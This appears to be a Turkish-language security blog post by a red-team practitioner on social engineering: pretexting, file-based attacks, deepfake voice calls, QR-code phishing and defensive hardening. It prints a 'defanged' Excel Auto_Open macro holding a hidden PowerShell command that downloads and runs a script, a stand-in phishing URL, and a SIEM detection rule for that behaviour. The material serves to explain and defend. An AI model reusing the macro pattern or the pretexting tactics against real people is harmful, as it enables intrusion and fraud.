Şu piyasadaki 'otomatik phishing simülasyonu' araçlarına karşı artık ciddi bir alerjim oluşmaya başladı. Herkes GoPhish kurup şirket içine üç-beş tane 'Maaş zammı için tıklayın' linki gönderince devasa bir 'sosyal mühendislik testi' yaptıklarını sanıyor. Beyler, hanımlar; bu yaptığınız sadece insanların vaktini çalmak ve IT support ekibine gereksiz bilet yağdırmak. Bir Red Team operasyonunda gerçek bir saldırganın böyle 'jenerik' takılacağını mı sanıyorsunuz? Prod ortamında bu tarz araçlarla farkındalık yaratmaya çalışmak, eline oyuncak tabanca verip birini savaşa hazırlamaya benziyor.
Gerçek dünyada sosyal mühendislik, bir araçtan ziyade bir sanattır ve psikolojik bir laboratuvar çalışmasıdır. Bugün size, o 'tıkla ve yakalan' simülasyonlarının ötesindeki karanlık suları, insan zihninin arka kapılarını nasıl araladığımızı ve bu kapıları nasıl kilitleyebileceğinizi anlatacağım.
Pretexting: Sadece Bir Hikaye Değil, Bir Kimlik
Sosyal mühendisliğin temeli pretexte (ön bahane) dayanır. Bir saldırgan olarak 'Merhaba, ben IT'den geliyorum' derseniz muhtemelen kapıdan kovulursunuz. Ama o gün o ofiste tadilat olduğunu, asansörlerin bakımda olduğunu ve sizin de 'fiber optik ölçüm cihazı kiralama firmasından' geldiğinizi, elinizdeki sahte fatura ve yaka kartıyla kanıtlarsanız, o kapılar size sonuna kadar açılır.
Biz Red Team tarafında buna 'çerçeveleme' diyoruz. Kurbanın dünyasına sızmak için onun gerçekliğini manipüle ediyoruz. Mesela testCompany çalışanlarını hedefliyorsak, önce o şirketin kullandığı üçüncü taraf servisleri (Örn: yemek kartı firması, kargo şirketi) tespit ederiz.
Teknik Vektörler: Payloadların Sessiz Dansı
Phishing linkine tıklatmak işin en 'tembel' kısmı. Peki ya dosya tabanlı saldırılar? Bir saldırganın, kurbanın bilgisayarına sızmak için hazırladığı o 'zararsız' Excel dosyası aslında arka planda ne yapıyor? İşte size defanged (zararsızlaştırılmış) bir makro örneği. Bu kod, tipik bir 'dosyasız' (fileless) saldırı başlangıcıdır:
' Zararsızlaştırılmış Makro Örneği (Eğitim Amaçlı)
Sub Auto_Open()
Dim shellCommand As String
' Gerçek bir saldırıda burası base64 ile encode edilmiş bir reverse shell olurdu.
' Örnekte sadece bir bağlantı isteği simüle ediliyor.
shellCommand = "powershell.exe -NoP -NonI -W Hidden -Command IWR -Uri http://127.0.0.1/fake-update.ps1 -OutFile $env:TEMP\update.ps1; & $env:TEMP\update.ps1"
' Kabuk komutunu çalıştır
' Shell shellCommand, vbHide
MsgBox "Sistem Güncellemesi Başlatıldı...", vbInformation, "IT Departmanı"
End Sub
Yukarıdaki kodda gördüğünüz gibi, kullanıcı dosyayı açıp 'İçeriği Etkinleştir' dediği anda (ki o butona bastırmak için kurbana 'Bu dosya eski Excel sürümüyle oluşturulmuştur' uyarısı verilir), arka planda bir PowerShell süreci başlar. Savunma tarafında ne yapıyoruz? EDR (Endpoint Detection and Response) üzerinde excel.exe'nin powershell.exe veya cmd.exe'yi spawn etmesini kesinlikle blokluyoruz. Bu kadar basit ama kritik bir kural hayat kurtarır.
Deepfake ve Vishing: Yeni Nesil 'Sesli' Kabus
Artık sadece email gelmiyor arkadaşlar. AI (Yapay Zeka) sağ olsun, artık patronunuzun sesiyle aranabiliyorsunuz. 'CFO beni aradı, acil transfer yapmamız lazım' diyen bir finans çalışanının o anki stres seviyesini hayal edin. Biz buna 'Deepfake Vishing' diyoruz. Ses klonlama teknolojisiyle, sadece 30 saniyelik bir YouTube videosundan aldığımız ses örneğiyle patronunuzun sesini taklit edebiliyoruz.
Buradaki savunma mekanizması teknik değil, operasyoneldir. 'Challenge-Response' (Meydan Okuma-Yanıt) kültürü oluşturulmalıdır. Eğer birisi sizden kritik bir bilgi veya para transferi istiyorsa, aranızda önceden belirlenmiş (ve dijital ortamda asla paylaşılmamış) bir 'safe word' veya ikincil bir onay kanalı (farklı bir platformdan mesaj atmak gibi) kullanılmalıdır.
Quishing: QR Kodların Karanlık Yüzü
Son zamanlarda herkesin masasına 'Bedava Kahve Çeki' veya 'Şirket Anketi' yazan QR kodlu broşürler bırakmak çok moda. Çalışan telefonunu çıkarıp o kodu okuttuğu anda, kurumsal ağdaki cihazı değil ama kendi kişisel telefonunu tehlikeye atıyor. Telefonu hacklenen bir çalışan, şirketin MFA (Çok Faktörlü Kimlik Doğrulama) bildirimlerini onaylayan kişi haline gelir.
Teknik olarak bir QR kodun nereye gittiğini anlamak için şu tarz bir analiz yapıyoruz:
# QR kodu terminal üzerinden analiz etme (Defanged URL)
zbarimg sample_qr_code.png
# Çıktı: QR-Code:http://evil-domain.example.com/login?token=xyz123
# URL'nin itibarını kontrol etme (CURL ile)
curl -I http://evil-domain.example.com/login
Savunmacılar için altın kural: Şirket içinde asla rastgele QR kod paylaşımı yapılmamalı ve çalışanlara telefonlarına gelen her linke tıklamamaları gerektiği, bunun bir 'zayıflık' değil bir 'saldırı vektörü' olduğu anlatılmalıdır.
Peki Ne Yapmalı? (Defensive Hardening)
Sosyal mühendislikten korunmak için 'Kullanıcıyı eğit' demek en kolayıdır ama en az etkili olanıdır. İnsan hata yapar. Sistemi insanın hatasını tolere edecek şekilde tasarlamanız lazım.
- FIDO2/WebAuthn Geçişi: SMS veya push notification tabanlı MFA artık yeterli değil. Sosyal mühendislikle bu kodlar kolayca alınabiliyor. Donanımsal anahtarlar (YubiKey vb.) bu saldırıların %99'unu engeller.
- DNS Filtering: Kullanıcı bir oltalama linkine tıklasa bile, DNS seviyesinde o domaini bloklamış olmalısınız.
testCompany-login.comgibi yeni açılmış domainleri 'Newly Registered Domains' kategorisinde otomatik bloklayın. - Process Monitoring: Bir ofis belgesi neden internete çıkmaya çalışır? Neden bir PDF dosyası
cmd.exeçalıştırır? Bu davranışları izleyen ve otomatik olarak sonlandıran SIEM kurallarınız olmalı.
// Örnek bir SIEM (Elasticsearch) kural mantığı
{
"query": {
"and": [
{ "match": { "process.parent.name": "excel.exe" } },
{ "match": { "process.name": "powershell.exe" } }
]
},
"action": "alert_and_block"
}
Son Söz Yerine
Sosyal mühendislik bir 'insan zafiyeti' değildir; bu, insanın yardımlaşma, güvenme ve hıza olan eğiliminin istismar edilmesidir. Eğer siber güvenliği sadece firewall kurmak sanıyorsanız, yanılıyorsunuz. En pahalı güvenlik sistemleriniz, kapıdaki güvenlik görevlisine 'Kargocuyum, elim dolu kartı basar mısın?' diyen bir Red Teamer tarafından baypas edilebilir.
Siz siz olun, sistemlerinizi kurarken 'en zayıf halka insandır' demek yerine, 'insanı koruyacak sistemler hangileridir?' diye sorun. Çünkü bir gün o linke siz de tıklayacaksınız. Hepimiz tıklayacağız. Mesele, tıkladığınızda sistemin sizi kurtarıp kurtarmayacağıdır.
Kaçınılmaz olanla yüzleşin ama hazırlıksız yakalanmayın.
